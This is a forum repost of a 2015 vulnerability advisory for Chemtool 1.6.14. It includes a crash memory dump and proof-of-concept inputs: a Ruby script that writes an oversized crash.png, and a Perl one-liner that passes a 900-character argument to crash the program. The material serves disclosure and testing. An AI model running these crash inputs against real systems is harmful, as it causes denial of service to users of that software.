Aerosol Posted February 9, 2015 Report Posted February 9, 2015 Document Title:===============Chemtool 1.6.14 Memory Corruption VulnerabilityDate:=============08/02/2015Vendor Homepage:================http://ruby.chemie.uni-freiburg.de/~martin/chemtool/Abstract Advisory Information:==============================Memory Corruption Vulnerability on Chemtool 1.6.14.Affected Product(s):====================Chemtool 1.6.14 or olderExploitation Technique:=======================LocalSeverity Level:===============MediumTechnical Details & Description:================================A Memory Corruption Vulnerability is detected on Chemtool 1.6.14. Anattacker can crash the software by using an input file.Also, an attacker can crash the software by entering a filename too long.b77a8000-b77a9000 r--s 00000000 08:01 152558/var/cache/fontconfig/3fe29f0c9fa221c8ee16555d4835b3ab-le32d4.cache-4b77a9000-b77aa000 r--s 00000000 00:15 209651 /run/user/1000/dconf/userb77aa000-b77bb000 r-xp 00000000 08:01 393480/usr/lib/i386-linux-gnu/gtk-2.0/modules/liboverlay-scrollbar.sob77bb000-b77bc000 r--p 00010000 08:01 393480/usr/lib/i386-linux-gnu/gtk-2.0/modules/liboverlay-scrollbar.sob77bc000-b77bd000 rw-p 00011000 08:01 393480/usr/lib/i386-linux-gnu/gtk-2.0/modules/liboverlay-scrollbar.sob77bd000-b77be000 rwxp 00000000 00:00 0b77be000-b77bf000 r--p 00855000 08:01 274691/usr/lib/locale/locale-archiveb77bf000-b77c0000 r--p 00596000 08:01 274691/usr/lib/locale/locale-archiveb77c0000-b77c2000 rw-p 00000000 00:00 0b77c2000-b77c3000 r-xp 00000000 00:00 0 [vdso]b77c3000-b77e3000 r-xp 00000000 08:01 132074 /lib/i386-linux-gnu/ld-2.19.sob77e3000-b77e4000 r--p 0001f000 08:01 132074 /lib/i386-linux-gnu/ld-2.19.sob77e4000-b77e5000 rw-p 00020000 08:01 132074 /lib/i386-linux-gnu/ld-2.19.sobfeff000-bff21000 rw-p 00000000 00:00 0 [stack]Aborted (core dumped)Proof of Concept (PoC):=======================This vulnerabilities can be exploited by local attackers withuserinteraction.First test. Attacker can generate a malicious file (format .png).This filecan produced a Stack Smashing.#/usr/bin/rubybuf = "a"*3000filename = "crash.png"file = open(filename,'w')file.write(buf)file.closeputs "file created!"Second test. Attacker can enter a filename too long. For example, thisprogram needs recieve a parameter. If this parameter is too long, It willcrash.$chemtool $(perl -e 'print "A"x900')How to perform:=======================1) You can test it with gdb. You attach this application.2) Run it, now, you can move "crash.png" file that we generated by our rubyscript to the application. Also, you can run argv[1] with a long value.When you perform above steps so application will crash. Analyze it on gdb.Solution - Fix & Patch:=======================Restrict working maximum size. I believe that this bug doesn't havesolution.Security Risk:==============The security risk of the vulnerability is estimated as medium because ofthe local crash method.Authors:==================Pablo GonzálezSource Quote